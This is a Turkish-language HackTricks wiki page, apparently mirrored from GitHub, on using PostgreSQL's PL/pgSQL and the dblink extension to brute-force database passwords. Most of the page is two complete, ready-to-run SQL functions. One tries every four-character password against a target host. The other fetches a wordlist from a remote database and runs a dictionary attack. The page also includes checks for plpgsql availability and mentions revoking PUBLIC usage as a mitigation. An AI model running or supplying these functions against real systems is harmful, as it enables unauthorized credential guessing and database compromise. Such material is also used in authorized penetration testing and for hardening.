mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
110 lines
3.4 KiB
Markdown
110 lines
3.4 KiB
Markdown
# PL/pgSQL Parola Kaba Kuvvet
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
**[Bu saldırılar hakkında daha fazla bilgi için orijinal belgeyi bulun](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.
|
||
|
||
PL/pgSQL, **SQL'in yeteneklerini aşan** ve **gelişmiş prosedürel kontrol** sunan **tam özellikli bir programlama dilidir**. Bu, döngülerin ve çeşitli kontrol yapıların kullanımını içerir. PL/pgSQL dilinde oluşturulan fonksiyonlar, SQL ifadeleri ve tetikleyiciler tarafından çağrılabilir, bu da veritabanı ortamındaki işlemlerin kapsamını genişletir.
|
||
|
||
Bu dili, PostgreSQL'den kullanıcı kimlik bilgilerini kaba kuvvetle kırmasını istemek için kötüye kullanabilirsiniz, ancak veritabanında mevcut olmalıdır. Mevcut olup olmadığını kontrol etmek için:
|
||
```sql
|
||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||
lanname | lanacl
|
||
---------+---------
|
||
plpgsql |
|
||
```
|
||
Varsayılan olarak, **fonksiyon oluşturma, PUBLIC'a verilen bir ayrıcalıktır**, burada PUBLIC, o veritabanı sistemindeki her kullanıcıyı ifade eder. Bunu önlemek için, yönetici PUBLIC alanından USAGE ayrıcalığını geri alması gerekebilirdi:
|
||
```sql
|
||
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
||
```
|
||
Bu durumda, önceki sorgumuz farklı sonuçlar verecektir:
|
||
```sql
|
||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||
lanname | lanacl
|
||
---------+-----------------
|
||
plpgsql | {admin=U/admin}
|
||
```
|
||
Aşağıdaki scriptin çalışması için **`dblink` fonksiyonunun mevcut olması gerekir**. Eğer mevcut değilse, onu oluşturmayı deneyebilirsiniz.
|
||
```sql
|
||
CREATE EXTENSION dblink;
|
||
```
|
||
## Şifre Kaba Kuvvet
|
||
|
||
İşte 4 karakterli bir şifre kaba kuvvet saldırısını nasıl gerçekleştirebileceğiniz:
|
||
```sql
|
||
//Create the brute-force function
|
||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||
username TEXT, dbname TEXT) RETURNS TEXT AS
|
||
$$
|
||
DECLARE
|
||
word TEXT;
|
||
BEGIN
|
||
FOR a IN 65..122 LOOP
|
||
FOR b IN 65..122 LOOP
|
||
FOR c IN 65..122 LOOP
|
||
FOR d IN 65..122 LOOP
|
||
BEGIN
|
||
word := chr(a) || chr(b) || chr(c) || chr(d);
|
||
PERFORM(SELECT * FROM dblink(' host=' || host ||
|
||
' port=' || port ||
|
||
' dbname=' || dbname ||
|
||
' user=' || username ||
|
||
' password=' || word,
|
||
'SELECT 1')
|
||
RETURNS (i INT));
|
||
RETURN word;
|
||
EXCEPTION
|
||
WHEN sqlclient_unable_to_establish_sqlconnection
|
||
THEN
|
||
-- do nothing
|
||
END;
|
||
END LOOP;
|
||
END LOOP;
|
||
END LOOP;
|
||
END LOOP;
|
||
RETURN NULL;
|
||
END;
|
||
$$ LANGUAGE 'plpgsql';
|
||
|
||
//Call the function
|
||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||
```
|
||
_Not edin 4 karakteri brute-force etmenin bile birkaç dakika sürebileceğini unutmayın._
|
||
|
||
Ayrıca **bir kelime listesi indirebilir** ve yalnızca o şifreleri deneyebilirsiniz (sözlük saldırısı):
|
||
```sql
|
||
//Create the function
|
||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||
username TEXT, dbname TEXT) RETURNS TEXT AS
|
||
$$
|
||
BEGIN
|
||
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
|
||
user=name
|
||
password=qwerty
|
||
dbname=wordlists',
|
||
'SELECT word FROM wordlist')
|
||
RETURNS (word TEXT)) LOOP
|
||
BEGIN
|
||
PERFORM(SELECT * FROM dblink(' host=' || host ||
|
||
' port=' || port ||
|
||
' dbname=' || dbname ||
|
||
' user=' || username ||
|
||
' password=' || word,
|
||
'SELECT 1')
|
||
RETURNS (i INT));
|
||
RETURN word;
|
||
|
||
EXCEPTION
|
||
WHEN sqlclient_unable_to_establish_sqlconnection THEN
|
||
-- do nothing
|
||
END;
|
||
END LOOP;
|
||
RETURN NULL;
|
||
END;
|
||
$$ LANGUAGE 'plpgsql'
|
||
|
||
-- Call the function
|
||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||
```
|
||
{{#include ../../../banners/hacktricks-training.md}}
|